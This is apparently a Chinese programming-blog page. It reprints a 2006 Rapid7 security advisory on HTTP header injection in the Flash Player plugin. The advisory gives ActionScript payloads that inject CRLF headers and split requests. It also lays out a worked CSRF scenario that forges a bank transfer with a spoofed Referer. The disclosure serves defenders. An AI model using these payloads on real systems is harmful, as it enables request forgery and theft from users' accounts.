ActionScript3禁止构造请求标头Referer

作为未来RIA的主角FLASH,在安全方面做得越来越出色了。
在AS3中我惊奇地发现啊adobe居然把Referer伪造给禁止了!!!
ArgumentError: Error #2096: HTTP 请求标头 Referer 不能通过 ActionScript 设置。
  at flash.display::Loader/flash.display:Loader::_load()
  at flash.display::Loader/load()
  at Timeline0_e150d995f3cf54ba89046e1dff0add1/::frame1()
干得不错!!!
--------------------------------------------------------------------------------
Rapid7, LLC Security Advisory
Visit http://www.rapid7.com/ to download NeXpose,
SC Magazine Winner of Best Vulnerability Management product.
_______________________________________________________________________
Rapid7 Advisory R7-0026
HTTP Header Injection Vulnerabilities in the Flash Player Plugin
Published: Oct 17, 2006
Revision: 1.0
http://www.rapid7.com/advisories/R7-0026.jsp
1. Affected System(s):
KNOWN VULNERABLE:
o Flash Player plugin 9.0.16 (for Windows)
o Flash Player plugin 7.0.63 (for Linux)
PROBABLY VULNERABLE:
o Earlier 9.0.x and 7.0.x versions
o 8.0.x versions
KNOWN FIXED:
o Flash Player plugin BETA version 9.0.18d60 (for Windows)
2. Summary
Two HTTP Header Injection vulnerabilities have been discovered by Rapid7
in the Flash Player plugin. They allow attackers to perform arbitrary
HTTP requests while controlling most of the HTTP headers. This can make
it easier to perform CSRF attacks [2] in some cases. When the HTTP
server implements Keep-Alive connections and when Firefox is used, these
Flash vulnerabilities can even be used to perform totally arbitrary HTTP
requests where every part is controlled by the attacker: HTTP method,
URI, HTTP version, headers, and data. Such attacks make use of the HTTP
Request Splitting method.
3. Vendor Status and Information
Adobe Systems, Inc.
http://www.adobe.com
Sep 18, 2006
Adobe acknowledges reception of the vulnerability details.
Sep 29, 2006
Adobe responds with proposed dates for a fix later this year.
Oct 5, 2006
Adobe releases a fixed BETA version of Flash 9 for Windows (version
9.0.18d60, release files are named beta_100406).
Oct 17, 2006
Advisory is published after expiration of the 30-day grace period
granted to Adobe to fix and disclose the vulnerabilities.
4. Solution
Used the fixed BETA version (9.0.18d60). Only allow trusted websites to
use Flash. Disable or uninstall the Flash plugin. Use alternative Flash
plugins (GplFlash, Gnash).
5. Detailed Analysis
The vulnerabilities described hereafter have been successfully tested
with the latest versions of Flash available for various platforms as of
2006/09/06, and with multiple combinations of browser/OS:
o IE6 SP2 (aka IE6 SV1) for Windows, with Flash plugin 9.0.16
o Firefox 1.5.0.6 for Windows, with Flash plugin 9.0.16
o Firefox 1.5.0.6 for Linux, with Flash plugin 7.0.63
5.1. XML.addRequestHeader() Vulnerability
Flash features a scripting language called ActionScript. ActionScript
comes with a certain number of standard classes available to Flash
developers. In particular, the send() method of the XML object can be
used to send XML document trees to arbitrary URLs using, by default, a
POST request. This, in itself, is not a vulnerability; the XML.send()
method definitely complies with the Flash security model [4].
However another method defined in the XML class, addRequestHeader(), can
be used to add arbitrary HTTP headers to the request performed by Flash.
Its intended usage is:
var req:XML=new XML('test');
req.addRequestHeader("X-My-Header", "42");
req.send("http://host/path");
When calling req.send("http://host/path"), such a POST request would be
submitted to 'host' (common HTTP headers that do not matter to us in
this example have been removed for brevity):
POST /path HTTP/1.1
Host: host
Referer: (referer)
Content-type: application/x-www-form-urlencoded
X-My-Header: 42
Content-Length: 4
test
For security reasons, Flash 9 does not let developers use
addRequestHeader() to set headers such as Host, Referer, or
Content-Length.
But there is a way to get around this security restriction: the
addRequestHeader() method does not sufficiently sanity check its two
arguments. This makes it possible to inject arbitrary headers:
req.addRequestHeader("Referer:http://anywhere\r\nX-foo", "bar");
With IE, a request containing only the fake Referer is sent:
POST /path HTTP/1.1
Host: host
Referer: http://anywhere
Content-Type: application/x-www-form-urlencoded
X-foo: bar
Content-Length: 4
test
With Firefox, a request containing both the real Referer and the fake
one is sent:
POST /path HTTP/1.1
Host: host
Referer: (real referer)
Content-type: application/x-www-form-urlencoded
Referer:http://anywhere
X-foo: bar
Content-Length: 4
test
For this attack to work, the first argument of addRequestHeader() must
not contain any space (ASCII 0x20) else the Flash plugin appears to
ignore the addRequestHeader() call. This is absolutely not a problem in
real-world attack scenarios, because the space character usually present
before the Referer value is optional (see RFC 2616 [5], section "4.2
Message Headers").
It is interesting to note that IE seems to post-process the headers
generated by Flash before sending them to the HTTP server. Indeed, IE
diligently removes the real Referer to use the Flash-generated one, and
it even automatically adds the optional space character before the fake
Referer value.
Of course any cookie that would be associated with 'host' would be
automatically sent along with the request, which is another good thing
for attackers.
For total control of the generated request, when the server supports
keep-alive connections and when Firefox is used, it is possible to use
the HTTP Request Splitting method to insert another HTTP request:
req.addRequestHeader("Content-Length:0\r\n\r\n" +
"POST\t/anotherpath\tHTTP/1.1\r\n" +
"Host:host\r\n" +
"Referer:faked\r\n" +
"User-Agent:faked\r\n" +
"Content-Type:faked\r\n" +
"Content-Length:3\r\n" +
"\r\n" +
"foo\n",
"bar");
This generates what Firefox thinks is one request, while in fact the
server interprets it as two separate requests because of the fake
"Content-Length:0" header:
POST /path HTTP/1.1
Host: host
Keep-Alive: 300
Connection: keep-alive
Referer: (real referer)
Content-type: application/x-www-form-urlencoded
Content-Length:0
POST /anotherpath HTTP/1.1
Host:host
Referer:faked
User-Agent:faked
Content-Type:faked
Content-Length:3
foo
: bar
Content-length: 4
test
Tabs (ASCII 0x09) have to be used around the URI ("/anotherpath")
instead of spaces (ASCII 0x20) else, as explained above, Flash ignores
the addRequestHeader() call. But other than this minor inconvenient,
pretty much any other character can be sent, absolutely nothing is
URL-encoded, which gives plenty of freedom to attackers.
The unwanted data after "foo" (": bar\r\nContent-length: 4\r\n\r\ntest")
do not create any problem at all either. Because the attacker-controlled
"Content-Length:3" header takes care of instructing the server to ignore
any subsequent data.
When trying to use this HTTP Request Splitting method with IE, it fails
with a generic "The page cannot be displayed" error. This is probably
due to the fact that when IE post-processes the headers (as explained
previously), it messes up the manually built HTTP request and ends up
with something that doesn't look like 2 valid requests at all. In
particular, what seems to trigger this error is the CR LF CR LF sequence
separating the headers from the body. This issue has not been
investigated any more. More research is necessary to determine if
exploiting IE this way is possible.
It should be pointed out that this new Flash 9 XML.addRequestHeader()
vulnerability is similar to other, previously reported vulnerabilities
in Flash 7 & 8 affecting the LoadVars class, as explained in this
Bugtraq posting from Amit Klein [1]. So, in a certain way, this new
vulnerability re-opens a path of exploitation that was available to
attackers in Flash 7 & 8.
5.2. XML.contentType Vulnerability
The XML class defines the contentType attribute, which can be set by
Flash developers, e.g.:
req.contentType = "text/plain";
The exact same vulnerability than the one described in the previous
section also exists for this attribute: Flash does not check the
validity of its value before building the HTTP request. It is possible
to exploit it in the same way that addRequestHeader() is used:
req.contentType = "text/plain\r\nReferer: anything";
Contrary to addRequestHeader(), Flash allows spaces (ASCII 0x20) to be
used in this string.
5.3 Consequence
The consequence of these vulnerabilities is that attackers have a lot
more control on the headers that get sent along with HTTP requests,
compared to what is commonly thought possible. In particular the Host,
Referer, and User-Agent headers can be spoofed. It is even possible to
voluntarily generate malformed HTTP requests too, when the HTTP Request
Splitting method is used.
But when combined with other flaws, such as XSS or CSRF, these Flash
vulnerabilities become a handy tool to exploit them. The next section
describes a CSRF attack scenario.
6. Exploitation Example
6.1. Description of CSRF Attacks
A Cross-Site Request Forgery (CSRF) is a form of attack where a
malicious site A exploits the trust a site B has in a user by forging an
HTTP request and sending it to site B, which sees it as coming from its
trusted user. See [2] for a more detailled description of CSRF attacks.
The Flash vulnerabilities presented above can help attackers forge such
HTTP requests.
Multiple approaches exist to prevent CSRF attacks, offering varying
levels of protection. For example requiring POST requests instead of GET
requests is a very poor way to protect against them. Other times, the
protection chosen by web site developers is to check for the HTTP
Referer. The assumption is that spoofing the Referer header is much
harder, but not impossible. These Flash vulnerabilities are able to
spoof it.
A much better way to protect against CSRF attacks is to require the use
of a security hash, as described in [3].
6.2. Attack Scenario
Let's say a malicious attacker is able to convince a user to visit his
malicious website http://malicious. The intent of the attacker is to
perform a CSRF attack against the user's bank website https://bank to
silently transfer money from the user's account to the attacker's
account. This attack assumes that (1) the bank uses SSL/TLS (HTTPS)
combined with cookie-based authentication, (2) checks the Referer header
to prevent CSRF attacks (hopefully no bank is doing this), and (3) that
a money transfer order can be initiated via such an HTTP request:
POST /xfer.cgi HTTP/1.1
Host: bank
Referer: https://bank/index.html
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer
The attack also assumes the user is using Firefox, because we are going
to use the CR LF CR LF sequence with addRequestHeader() to insert the
HTTP body data (as explained in section 1.1 this sequence does not work
with IE for an unknown reason).
We have to insert the HTTP body using addRequestHeader() because this
way the body doesn't get URL-encoded by Flash (it is URL-encoded when
passed as a string to the XML() constructor).
And we have to prevent URL-encoding in order to preserve the ampersands
("&") present in the body ("from=...&to=...").
So, in order to perform the attack, the attacker would have to place a
Flash movie on http://malicious containing this ActionScript code:
var req:XML=new XML('x');
req.addRequestHeader(
"Referer:https://bank/index.html\r\n" +
"Content-Length:63\r\n" +
"\r\n" +
"from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer\r\n",
"y");
req.send("https://bank/xfer.cgi");
Then, when the user would visit http://malicious, assuming his browser
still owns an unexpired cookie from the bank, this request would be sent
via HTTPS (XML.send() allows an HTTP site to send data over HTTPS):
POST /xfer.cgi HTTP/1.1
Host: bank
Referer: http://malicious
Cookie: (bank cookie)
Content-type: application/x-www-form-urlencoded
Referer:https://bank/index.html
Content-Length:63
from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer
: y
Content-length: 1
x
And the attack would succeed, despite SSL/TLS, despite the cookie auth,
and despite the Referer check (if the application server takes into
account the second Referer).
If URL-encoding of the HTTP body is acceptable, then IE can be targetted
by not using the CR LF CR LF sequence, then only one Referer would be
present in the headers.
7. Credits
This vulnerability was discovered by Marc Bevand of Rapid7.
8. Contact Information
Rapid7, LLC
Email: advisory@rapid7.com
Web: http://www.rapid7.com
Phone: +1 (310) 316-1235
9. Disclaimer and Copyright
Rapid7, LLC is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service to
the professional security community. There are NO WARRANTIES with regard
to this information. Any application or distribution of this information
constitutes acceptance AS IS, at the user's own risk. This information
is subject to change without notice.
This advisory Copyright (C) 2006 Rapid7, LLC. Permission is hereby
granted to redistribute this advisory, providing that no changes are
made and that the copyright notices and disclaimers remain intact.
10. Footnotes
[1] http://www.securityfocus.com/archive/1/441014/30/0/threaded
[2] http://en.wikipedia.org/wiki/Csrf
[3] http://www.squarefree.com/securitytips/web-developers.html
[4] The Flash security model allows SWF files to perform XML.send()
requests to other domains, because this method can only be used to
send requests (and not receive the associated responses, which could
be sensitive/private data). This, plus the fact that Flash enforces
other restrictions (such as preventing the overwriting of some HTTP
headers), explains why the security model allows cross-domain
XML.send() requests.
[5] RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1
ftp://ftp.rfc-editor.org/in-notes/rfc2616.txt

(0)

相关推荐

  • actionscript与javascript的区别

    当时Netscape的JavaScript使其在与ie的浏览器大战中独占鳌头,而后ie创建了jscript应对Netscape的JavaScript,而事实上jscript基本上抄袭的JavaScript,这也是微软一直备受诟病的一件事,jscript与JavaScript有一些语法上的不一样,但二者均是同一类web开发技术,而且目前流行的是JavaScript,jscript的使用已经越来越少了.另外JavaScript的核心为ecmascript,与actionscript的核心一样,所以学

  • ActionScript中文电子书(chm)文件下载

    ActionScript中文电子书. 学flash可得研究一下哦. 动作脚本字典概述 本字典描述 Macromedia Flash MX 2004 和 Macromedia Flash MX Professional 2004 中的动作脚本元素的语法和用法.若要使用脚本中的示例,请复制本字典中的示例代码,然后将其粘贴到"脚本"窗格或外部脚本文件中.本字典列出了所有动作脚本元素,包括运算符.关键字.语句.动作.属性.函数.类和方法.有关所有字典条目的概述,请参见字典内容:若要查找其类未知

  • ActionScript 3.0中用XMLSocket与服务器通讯程序(源码)

    复制代码 代码如下: // // CXMLSocket.as // // // Written by Leezhm, 20th Oct, 2008 // Contact : Leezhm@luxoom.cn // package { import flash.events.DataEvent; import flash.events.Event; import flash.events.IEventDispatcher; import flash.events.IOErrorEvent; imp

  • JavaScript和ActionScript的交互实现代码

    复制代码 代码如下: <?xml version="1.0" encoding="utf-8"?> <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute"> <mx:Script> <![CDATA[ import flash.external.ExternalInterface; publ

  • JavaScript与ActionScript3两者的同性与差异性

    javascript和actionscript是基于什么标准的,大家知道吗? ActionScript 和 JavaScript 共享一个常用标准:ECMAScript.因此,如果您曾经用 JavaScript 编写过一个条件("if 语句")或迭代("循环语句"),则您可以使用 ActionScript.记住 JavaScript 和 ActionScript 一样是区分大小写的. 先来看看二者的同性与差异性: 共同点: a).二者语法相似,都遵循ECMAScri

  • Flash ActionScript 中按钮和电影剪辑的事件和方法

    事 件 方 法 说 明 on(press) onPress 鼠标左键按下 on(release) onRelease 鼠标单击(左键按下并释放) on(releaseOutside) onReleaseOutside 鼠标左键按下之后在按钮之外释放 on(rollOver) onRollOver 鼠标悬停在按钮之上 on(rollOut) onRollOut 鼠标移动到按钮响应区域之外 on(dragOver) onDragOver 鼠标在按钮上施动 on(dragOut) onDragOut

  • Flash中常用到的ActionScript控制语句用法

    很多朋友经常询问关于Flash的ActionScript脚本语句的用法,有些很简单的命令就能实现某种功能,我就从这里,那里,东拼西凑的找了一写,.现在我就把一些Flash的常用Action语句的基本用法讲解一下. 1.Goto:跳到一个指定的帧(Frame) Scene: 指定 Scene Frame:Number,Label,Expression,Next Frame,Previous Frame 可以选择 Frame 的编号,标号,通过表达式,下一帧,前一帧 Expression: 定义表达

  • Javascript 调用 ActionScript 的简单方法

    1. 在Flex中,ActionScript调用Javascript是比较简单的,说白了就是,在html里,怎么调用Javascript,在ActionScript就怎么调用就可以了 2. 如果用js调用as,就稍微麻烦一点,其实也比较简单 MXML代码: <?xml version="1.0" encoding="utf-8"?> <mx:Application xmlns:mx="http://www.adobe.com//mxml&

  • Flex include和import ActionScript代码

    在ActionScript中include和import有着截然不同的区别.Include是将一个文件中的代码拷贝到另一个文件中去,也就是将代码拷贝到include语句所在的位置上.Import是添加了对类或包的引用,这样你就可以访问其他的类中定义的对象和属性.通过import导入的代码文件必须存在于你导入的路径上.通过include导入代码文件,输入的文件地址必须与主文件要能在相对路径上寻找到,或者通过绝对路径也可以. 你可以在你的Flex应用程序中使用include语句和< mx:Scrip

  • ActionScript3禁止构造请求标头Referer

    作为未来RIA的主角FLASH,在安全方面做得越来越出色了. 在AS3中我惊奇地发现啊adobe居然把Referer伪造给禁止了!!! ArgumentError: Error #2096: HTTP 请求标头 Referer 不能通过 ActionScript 设置.   at flash.display::Loader/flash.display:Loader::_load()   at flash.display::Loader/load()   at Timeline0_e150d995

  • 详解php伪造Referer请求反盗链资源

    有些产品为了防止自己的产品被盗链访问,会采用反盗链措施,如封闭型生态的音乐网站和视频网站,他们已经为了版权付费,自然不希望你免费使用他们的资源.但因为很多人专门研究盗链,因此我们也需要了解下盗链.反盗链和逃避反盗链的原理. 盗链 引用百度百科对盗链的定义: 盗链是指服务提供商自己不提供服务的内容,通过技术手段绕过其它有利益的最终用户界面(如广告),直接在自己的网站上向最终用户提供其它服务提供商的服务内容,骗取最终用户的浏览和点击率.受益者不提供资源或提供很少的资源,而真正的服务提供商却得不到任何

  • java发送http请求并获取状态码的简单实例

    目前做项目中有一个需求是这样的,需要通过java发送url请求,查看该url是否有效,这时我们可以通过获取状态码来判断. try { URL u = new URL("http://10.1.2.8:8080/fqz/page/qizha/pros_add.jsp"); try { HttpURLConnection uConnection = (HttpURLConnection) u.openConnection(); try { uConnection.connect(); Sy

  • python爬虫实现POST request payload形式的请求

    1. 背景 最近在爬取某个站点时,发现在POST数据时,使用的数据格式是request payload,有别于之前常见的 POST数据格式(Form data).而使用Form data数据的提交方式时,无法提交成功. 1.1. Http请求中Form Data 和 Request Payload的区别 AJAX Post请求中常用的两种传参数的形式:form data 和 request payload 1.1.1. Form data get请求的时候,我们的参数直接反映在url里面,形式为

  • Python爬取肯德基官网ajax的post请求实现过程

    目录 准备工作 分析 程序入口 url组成数据定位 构造url 参数 post请求 标头获取(防止反爬的一种手段) 请求对象定制 获取网页源码 获取响应中的页面的源码,下载数据 全部代码 爬取后结果 准备工作 查看肯德基官网的请求方法:post请求. X-Requested-With: XMLHttpRequest 判断得肯德基官网是ajax请求 通过这两个准备步骤,明确本次爬虫目标: ajax的post请求肯德基官网 获取上海肯德基地点前10页. 分析 获取上海肯德基地点前10页,那就需要先对

  • CSRF跨站请求伪造漏洞分析与防御

    目录 CSRF 漏洞原理 漏洞危害 防御绕过 漏洞利用 防御措施 总结 CSRF 现在的网站都有利用CSRF令牌来防止CSRF,就是在请求包的字段加一个csrf的值,防止csrf,要想利用该漏洞,要和xss组合起来,利用xss获得该csrf值,在构造的请求中将csrf值加进去,就可以绕过csrf防御,利用该漏洞. 该漏洞与xss的区别:xss是通过执行恶意脚本,获取到用户的cookie等信息,再利用cookie等信息进行绕过登录限制,做一些用户可以做的事. 而csrf是伪造请求,让用户自己执行攻

  • IOS网络请求之NSURLSession使用详解

    前言: 无论是Android还是ios都离不开与服务器交互,这就必须用到网络请求,记得在2013年做iOS的时候那时候用的ASIHTTPRequest框架,现在重新捡起iOS的时候ASIHTTPRequest已经停止维护,大家都在用AFNetWorking作为首选网络请求框架,之前的ASIHTTPRequest是基于NSURLConnection类实现的,早期的AFNetWorking也是基于NSURLConnection实现,后来iOS9 之后已经放弃了NSURLConnection,开始使用

  • 使用JavaScript和C#中获得referer

    1. JavaScript 复制代码 代码如下: /**  * 获取HTTP请求的Referer  * @ishost 布尔类型 Referer为空时是否返回Host(网站首页地址)  */ function get_http_referer(ishost) {     if (ishost === undefined) { ishost = true; }     if (document.referrer) {         return document.referrer;     }

  • Android中发送Http请求(包括文件上传、servlet接收)的实例代码

    复制代码 代码如下: /*** 通过http协议提交数据到服务端,实现表单提交功能,包括上传文件* @param actionUrl 上传路径 * @param params 请求参数 key为参数名,value为参数值 * @param file 上传文件 */public static void postMultiParams(String actionUrl, Map<String, String> params, FormBean[] files) {try {PostMethod p

  • java 发送带Basic Auth认证的http post请求实例代码

    构造http header private static final String URL = "url"; private static final String APP_KEY = "key"; private static final String SECRET_KEY = "secret"; /** * 构造Basic Auth认证头信息 * * @return */ private String getHeader() { String

随机推荐